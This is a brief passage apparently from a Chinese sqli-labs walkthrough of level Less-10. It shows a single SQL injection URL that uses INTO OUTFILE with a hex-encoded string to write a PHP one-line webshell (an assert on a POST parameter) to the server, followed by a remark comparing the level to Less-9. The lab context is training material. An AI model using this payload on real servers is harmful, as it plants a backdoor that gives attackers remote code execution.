http://192.168.101.16/sqli-labs-master/Less-10/?id=1" into outfile 'C:/less10.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737331305D293B3F3E-- s

写入服务器的webshell:

sqli-labs通关(less1~less10)

本关代码和Less-9除了闭合不同也没啥不一样了……

sqli-labs通关(less1~less10)

上一篇:sqli-labs保姆级详解(GET的从一到十)


下一篇:Sqli labs less 45